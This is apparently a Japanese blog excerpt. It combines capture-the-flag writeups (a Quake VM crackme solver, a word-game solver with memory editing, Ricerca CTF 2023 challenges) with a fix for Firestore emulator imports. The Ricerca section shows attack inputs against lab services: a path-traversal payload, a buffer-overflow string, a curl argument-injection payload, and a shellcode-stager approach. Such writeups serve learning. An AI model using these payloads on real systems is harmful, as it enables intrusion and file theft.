0x5554, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5279, 0x5279, 0x5279, 0x528A, 0x5202, 0x529B, 0x52AC, 0x52AC, 0x52AC, 0x52BD, 0x5004, 0x5004, 0x53EF, 0x5400, 0x5411, 0x5422, 0x5422, 0x5433, 0x5444, 0x5455, 0x5004, 0x5004, 0x5004, 0x5664, 0x5675, 0x5521, 0x5686, 0x5697, 0x56A8, 0x56B9, 0x56CA, 0x56DB, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x5004, 0x56EC, 0x56EC, 0x56FD, 0x5202, 0x5202, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5312, 0x5323, 0x5334, 0x5345, 0x5356, 0x5367, 0x5202, 0x5202, 0x5378, 0x5004, 0x5004, 0x5004, 0x519C, 0x51AD, 0x51BE, 0x50D0, 0x50BF, 0x50BF, 0x50D0, 0x51CF, 0x51E0, 0x5004, 0x5004, 0x5004, 0x5004, 0x5268, 0x570E, 0x571F, 0x5730, 0x5741, 0x5224, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004, 0x5004]

hash = {}
src = open('imgchk', 'rb').read()
for i in range(0, 0x5752-0x5004, 17):
    addr = 0x5004+i
    hash[addr] = src[addr:addr+16]

def bruteforce():
    hash_table = {}
    for i in range(0xff+1):
        for j in range(0xff+1):
            for k in range(0xf+1):
                h = hashlib.md5()
                h.update(bytes([i, j, k]))
                hash_table[h.digest()] = [i, j, k]
    result = {}
    for h in hash.values():
        result[h] = hash_table[h]
    return result

hash_to_bytes = bruteforce()

im = Image.new('1', (480, 20), )

i = 0
for a in answer:
    for k, b in enumerate(hash_to_bytes[hash[a]]):
        for j in range(8 if k < 2 else 4):
            x = i // 20
            y = i % 20
            if x == 480:
                break
            im.putpixel((x, y), (b >> j) & 1)
            i += 1

im.save('flag.png')

出力される画像:

Gaming VM

"q3vm disassembler"で検索すると https://github.com/brugal/q3vm があったのでこれで読みます。一部のsyscallはunknown functionと表示されますが、これはオリジナル版にはなく(?)、バイナリを読むとmemsetやreadする実装に対応するのが分かります。

とりあえずgdbで動かしながら適当なVMの命令に相当するところでbreakしつつ値を見てみるのを試していたところ、goto_OP_EQでほぼflagの比較がされていそうなことに気づきました。ブルートフォースするスクリプトを書きつつ、途中で調整が必要なところは面倒になってgdbを動かしつつ手で求めました。

import gdb

e = lambda c: gdb.execute(c, to_string=True)
p = lambda x: gdb.parse_and_eval(x)

e('set pagination off')
e('file ./q3vm')
e('b *0x0000555555557364') # goto_OP_EQ

flag = [chr(0x20+i) for i in range(33)]
flag = list('CakeCTF{A_s1mpl3_VM_wr1tt3n_f0r_Quake_III}') # 手で埋めていく

def write_flag():
    with open('in', 'w') as f:
        f.write('CakeCTF{' + ''.join(flag).ljust(33, '\0') + '}\n')

def brute():
    write_flag()
    e('r flag.qvm < in')
    e('c 0x2a')
    e('c 2')

    while True:
        ecx = p('$ecx')
        eax = p('$eax')
        print(ecx, eax)
        if ecx != eax:
            idx = flag.index(chr(eax ^ 7))
            print(idx)
            flag[idx] = chr(ecx ^ 7)
            print(''.join(flag))
            write_flag()
            return
        e('c')

for i in range(33):
    brute()

Word Tower

適当にメモリ上を検索すると、出題される単語の一覧が見えるのでそこからソルバが書けます。ステージ2まではソルバと手で解けますが、ステージ3は制限時間が30秒なのでさすがにそのままでは無理です。

from typing import Optional

# having_letters, word_n = 'bbroeaitxfgitr', 3
# having_letters, word_n = 'kafhaaaleoercpspsghr', 4
having_letters, word_n = 'earrabarkwtpdiaapdkoucsovhst', 5
having_letters = having_letters.lower()

words = open('words').read().splitlines()

search_candidates_memo = {}

def search_candidates(having_letters: str):
    if having_letters in search_candidates_memo:
        return search_candidates_memo[having_letters]

    candidates = []
    for word in words:
        word_letters = list(word)
        having_letters_list = list(having_letters)
        ok = True
        for wl in word_letters:
            if wl not in having_letters_list:
                ok = False
                break
            del having_letters_list[having_letters_list.index(wl)]
        if ok:
            candidates.append(word)

    search_candidates_memo[having_letters] = candidates

    return candidates

def dfs(having_letters: str, word_n: int, result: Optional[list[str]] = None):
    if result is None:
        result = []

    if word_n == 0 and len(having_letters) == 0:
        return result

    candidates = search_candidates(having_letters)
    for candidate in candidates:
        having_letters_list = list(having_letters)
        for cl in candidate:
            del having_letters_list[having_letters_list.index(cl)]
        result = dfs(''.join(having_letters_list), word_n - 1)
        if result is not None:
            return result + [candidate]

    return None

print(dfs(having_letters, word_n))

ステージごとの制限時間を書き換えられるならステージ3でも手で解けるはず、という気持ちでCheat Engineを使ってメモリ上にその値がないか検索してみます。制限時間はステージ1では180秒、ステージ2では120秒なので、その値のように変化するメモリがあればあやしいはずです。ちょうどそのようなメモリがあったので、ステージ3のスタート前に値を書き換えたところ、無事制限時間を延ばすことができました(値が大きすぎるとチート検知されます)。あとはソルバの結果を手で入力して終わりです。

実際に書き換えているところ。これくらいだとチート検知される。

Firestoreからエクスポートしたデータがエミュレータにインポートできなくなった問題に対処する

Firestoreにはエミュレータが用意されていて、手元の環境でも似たようなものが動かせるようになっています。開発するにはこれは必須といったところで、例えば開発環境のデータを手元の環境にインポートして使うということもよくしています。

エミュレータにインポートする方法は簡単で、まずは以下のようにgcloudコマンドでデータをエクスポートし、gsutilコマンドでエクスポート先のディレクトリを保存します。

gcloud firestore export gs://<bucket_name>
gsutil -m cp -r "gs://<bucket_name>/<export_dir>" .

あとはfirebaseコマンドでエミュレータを起動する際に--importオプションでエスクポートしたディレクトリを指定すればそのまま動かせます。

firebase --project demo- --only firestore emulators:start --import <exported_dir>

ただ、ある日から(2023/10/21時点では直っていない)インポートしようとすると以下のエラーメッセージでエミュレータが起動できなくなってしまいました。

Oct 21, 2023 8:49:22 PM com.google.cloud.datastore.emulator.firestore.CloudFirestore main
SEVERE: Exiting due to unexpected exception.
com.google.cloud.datastore.core.exception.DatastoreException: Message missing required fields: kind_info[0].kind
at com.google.cloud.datastore.util.leveldb.ExportImportUtil.parseBackupFile(ExportImportUtil.java:378)
at com.google.cloud.datastore.util.leveldb.ExportImportUtil.fetchEntities(ExportImportUtil.java:88)
at com.google.cloud.datastore.emulator.firestore.CloudFirestore.init(CloudFirestore.java:181)
at com.google.cloud.datastore.emulator.firestore.CloudFirestore.startLocally(CloudFirestore.java:115)
at com.google.cloud.datastore.emulator.firestore.CloudFirestore.main(CloudFirestore.java:96)
Caused by: com.google.protobuf.InvalidProtocolBufferException: Message missing required fields: kind_info[0].kind
at com.google.protobuf.UninitializedMessageException.asInvalidProtocolBufferException(UninitializedMessageException.java:79)
at com.google.protobuf.AbstractParser.checkMessageInitialized(AbstractParser.java:73)
at com.google.protobuf.AbstractParser.parseFrom(AbstractParser.java:91)
at com.google.protobuf.AbstractParser.parseFrom(AbstractParser.java:96)
at com.google.protobuf.AbstractParser.parseFrom(AbstractParser.java:48)
at com.google.cloud.datastore.util.leveldb.ExportImportUtil.parseBackupFile(ExportImportUtil.java:376)
... 4 more

対処方法

github.com

対処は簡単、このリポジトリから以下のコマンドを実行するだけです。あとは通常通りエミュレータにインポートすればそのまま起動します。

poetry install
poetry run python workaround.py <export_dir>

せっかくなので、原因の詳細を書いておきます。まず、エクスポートされたディレクトリは以下のような構造になっています。そもそもFirestoreのデータの内部構造としては一部はProtocol Bufferで、そのほかはLevelDBのlog formatの形式で保存されています。

2023-10-21T10:49:07_61766
├── 2023-10-21T10:49:07_61766.overall_export_metadata
└── all_namespaces
    └── all_kinds
        ├── all_namespaces_all_kinds.export_metadata
        └── output-0

all_namespaces_all_kinds.export_metadataは単にProtocol Bufferでシリアライズされたデータなのでprotocコマンドでダンプできます。

% protoc --decode_raw < 2023-10-21T10:49:07_61766/all_namespaces/all_kinds/all_namespaces_all_kinds.export_metadata
1 {
  1: "2023-10-21T10:49:07_61766"
  2: 1697885347297211
}
2 {
  2: "output-0"
  5: 1004733923
}

ただ、これだけだとフィールド番号だけなのでなんとなくの構造しかわかりません。Firebaseエミュレータのjarの中にはProtocol Bufferのdescriptor dataが含まれているので、それを利用して.protoの定義を生成して*1フィールド名を復元するとこのようになっています。

backup_info {
  backup_name: "2023-10-21T10:49:07_61766"
  start_timestamp: 1697885347297211
}
kind_info {
  file: "output-0"
}

エミュレータにインポートできていた過去のデータを確認してみると、以下のようにbackup_info.start_timestamp, kind_info.kind, kind_info.entity_schema.kindのフィールドが存在していました。

backup_info {
  backup_name: "2023-10-21T10:49:07_61766"
  start_timestamp: 1697885347297211
  end_timestamp: ...
}
kind_info {
  kind: "__all__"
  file: "output-0"
  entity_schema {
    kind: "__all__"
  }
}

Message missing required fields: kind_info[0].kindというエラーメッセージからも明らかにこのフィールドがないことからインポートできなくなってしまってことがわかります。

つまりは消えてしまったフィールドを無理矢理足してしまえばエミュレータにインポートできることにはなります。なんとなくend_timestampがないという状況を察すると、インポート処理が正しく終了状態になっていないバグのような気がしているのですが、これは後ほどバグ報告をしようと思います(ただ、そもそもエミュレータにはインポートできないという仕様であったりすると悲しいのですが)。

*1:.protoの形式になっているとそもそも読みやすい、かつ言語ごとにコード生成ができるのが便利です。いいかんじに戻すツールを自作していたのですが紹介はまたの機会に……

Ricera CTF 2023 writeup

2023/4/22に行なわれたRicerca CTF 2023にdodododoで参加して、2位でした。

dodododoでは普段CTFに参加するときは、Google Docsにドキュメントを用意しておき、どの問題を解こうとしているかなどの進捗状況を共有できるようにしています。大したものはないのですが、せっかくなので中身を晒しつつ、writeupを書いていきます。

解いた問題

crackme

Google Docsの内容:

[solved] crackme
RicSec{U_R_h1y0k0_cr4ck3r!}

何も詳細は書いていません。warmup問題のようなやるだけの問題はflagを書いて終わっています。

N1pp0n-Ich!_s3cuR3_p45$w0rDとstrcmpしている部分を見かけたので、そのまま求められるパスワードとして入力したところ、flagが出力されました。

Cat Cafe

Google Docsの内容:

[solved] Cat Cafe
/img?f=..././flag.txt

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

.replace("../", "")../を置き換えるようになっていますが、再帰的な置換ではないので...././../になるというものです。

BOFSec

Google Docsの内容:

[solved] BOFSec
b'A' * 0x101 + b'\n'

RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

これもwarmup問題なので、かなり簡略に書いています。そのまま送信するだけです。

tinyDB

Google Docsの内容:

[solved] tinyDB
clearするタイミングでadmin自体のパスワードが********************************になる

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

デバッグの際に適当にconsole.logを仕込んでいると、userDB.sizeが10より大きくなったときに走る処理によって、adminのパスワードが********************************になることに気づきました。以下のコードを読んだときは単にレスポンスの内容にだけ影響するものと思っていましたが、Mapのkeyとしているauthの参照自体を書き換えているのでそのまま書き換えられてしまいますね。

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

こういうタイプの問題は手元で動かしたらすぐにわかってしまうという意味で、package.jsonなど実際に動かすのに必要なファイルを配布していないのだろうと思うのですが、とはいえこれが本質ではないとは思うので他の問題のように、Dockerなりですぐ動く状態のものを配布してもらいたいところです……

NEMU

Google Docsの内容:

[solved] NEMU
reg自体の元々のサイズはint32_tだけど各命令ではuint64_tで読み書きするので4バイト分はみでるというバグ

https://gist.github.com/akiym/a4b816c93c3b201cca4ed35368e6f6e4

RicSec{me0w_i_am_n3mu_n3mu_c4tt0}

上に書いてあるバグを利用することで、add命令の先頭のコードを書き換えることができます。ただし、書き換えられるのは一部なので任意のコードを実行できるようにするにはバイト数が足りません。

スタック上にはacc, r3, r2と12バイト分並んだ、自由に操作できる部分があるのでそれらに対してシェルコードを読み込むstagerを仕込んでおきます。あとは書き換えたadd命令からその部分へジャンプすることで、自由にシェルコードを実行できるようになります。

tic tac toe?

Google Docsの内容:

[solved] tic tac toe?
いろいろ崩壊してるマルバツゲーム

  | a | b | c |
--|---|---|---|
1 | 0 | 3 | 6 |
--|---|---|---|
2 | 1 | 4 | 7 |
--|---|---|---|
3 | 2 | 5 | 8 |
--|---|---|---|

盤面からfork-exitでexitcodeとして何か計算してチェックしてるっぽい

https://gist.github.com/akiym/037b9347ff6e43f17ca373daf730a728
mainから0x1590のところはこういうかんじだと思ったのだけどunsat

RicSec{t1c_t4c_t03_1s_3x1t1ng_g4m3}

前半部分はチームメンバーが書いていて、後半のgistのURLを貼っているところから自分が書いています。

gistのrevisionsを見ると、最初は解析した結果をz3のスクリプトに落とし込んでいるところが間違っています。途中でexit codeって8bitだな、とか細かいミスに気づいて直したところsatだったので、flagを求める処理に突っ込んで終わりです。

funnylfi

Google Docsの内容:

[solved] funnylfi
f!ile:// みたいなかんじでscheme_detectorはbypassできるけど、RicSecのWAFがある

gopher protocol + uwsgiで何かと思ったけど、_が消されてしまうのでUWSGI_FILEを作れない
というか%が使えないんだった

?url=˚f!ile://«/var/www/flag˚

競技時間もほぼ終盤になった頃、チームメンバーから˚を使うとコマンド内にスペースを含められることを教えてもらいました。レスポンス中にRicSecが含まれると怒られる(flagはRicSec{...}という形式なので、flagをそのまま出力できない)ので、解法的にはRangeのリクエストだろうと推測して、curl-rオプションを使う方法はないかを探しました。

curl-rオプションは通常であれば-r 0-100のように使いますが、-r0とした場合でもwarningは出るものの-r0-と同様に動くことがわかります。つまり、引数の中に-r2のようにオプションを指定することができれば、RicSecが含まれる先頭部分を捨ててflagを出力させることができるはずです。

色々試したところ、b'xn-- file:///var/www/flag -r2a'.decode('idna')の結果が' file://«/var/www/flag 'だったので、˚f!ile://«/var/www/flag˚を入力したところb'xn-- file:///var/www/flag -r2a476lwa'と変換され、無事に-r2が指定できました。